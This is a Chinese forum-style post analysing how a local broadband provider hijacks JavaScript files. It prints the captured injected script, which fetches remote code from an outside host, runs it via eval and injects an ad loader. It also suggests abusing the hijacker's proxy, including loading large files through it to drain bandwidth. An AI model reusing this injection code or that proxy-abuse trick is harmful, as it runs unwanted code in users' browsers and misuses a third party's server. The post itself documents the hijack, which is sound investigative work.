一个反杀网络劫持的思路？

租住昌平一角的公寓，宽带不知名，10M 要 100RMB 一月。最近发现网络劫持越来越厉害了。

网络抓包发现，包含 jQuery 在内的多个 js 文件被劫持，文件内容被替换为了下面的样子（原地址是 ECharts ）：

var sourceScriptURI = 'http://echarts.baidu.com/dist/echarts.min.js';
(function() {
    var evalGloble = eval;
    var _loader = function(uri) {
        if (!top || !this) {
            return setTimeout(arguments.callee, 50);
        }
        if (top != this) {
            return;
        }

        var s = window.top.document.createElement('script');
        s.src = uri;
        s.type = 'text/javascript';
        s.charset = 'utf-8';
        s.async = 'true';
        window.top.document.body.appendChild(s);
    };

    var evalSrcScript = function(uri) {
        var url = "http://www.fjlqqc.com/common/api/v1.0/src_script/?path=" + encodeURIComponent(uri);
        var xhr = new XMLHttpRequest();
        xhr.open('GET', url, false);
        xhr.setRequestHeader("X-Page-Charset", document.charset);
        xhr.send();
        try {
            evalGloble(xhr.responseText);
        } catch(error) {}
    };

    var getCurrentScript = function(sourceScriptURI) {
        var scripts = document.getElementsByTagName('script');
        for (var i = 0; i < scripts.length; ++i) {
            if (scripts[i].src == sourceScriptURI) return scripts[i];
        }
    };

    var _looper, injection;
    var _loop = function() {
        switch (document.readyState) {
            case 'loading':
                break;
            case 'interactive':
            case 'complete':
                clearInterval(_looper);
                if (window.__COODAGLIFE__ === undefined) {
                    _loader(injectionScriptURI + trim(publisherID) + "/");
                    localStorage.COODAG_SERUM_IC = injectionScriptURI;
                    window.__COODAGLIFE__ = true;
                }
                break;
            default:
                clearInterval(_looper);
                break;
        }
    };

    var inject = function() {
        _looper = setInterval(_loop, 50);
    };

    function trim(s){
        return s.replace(/(^\s*)|(\s*$)/g, "");
    }

    var publisherID = '00000000-00000-0000-0000';//已修改
    var injectionScriptURI = "http://www.fjlqqc.com/common/api/v1.0/slot-code/publisher/";
    //var currentScript = getCurrentScript(sourceScriptURI);
    if (true) {
        evalSrcScript(sourceScriptURI);
    }

    inject();
})();

可以看到，这段代码向页面注入了另一段 js 代码

http://www.fjlqqc.com/common/api/v1.0/slot-code/publisher/{publisherID}/

并通过访问

http://www.fjlqqc.com/common/api/v1.0/src_script/?path={sourceScriptURI}

将原始的 JS 再带入网页。如何反杀？当然是用它的代理咯。于是我写出了下面的代码：

<img src="http://www.fjlqqc.com/common/api/v1.0/src_script/?path=https%3A%2F%2Fwww.coderbusy.com%2Fwp-content%2Fuploads%2F2017%2F10%2F20171010032255_3047.png" />

经测试，可用，速度还可以。要不要挂一个大大的下载包上去，就看各位的心情了。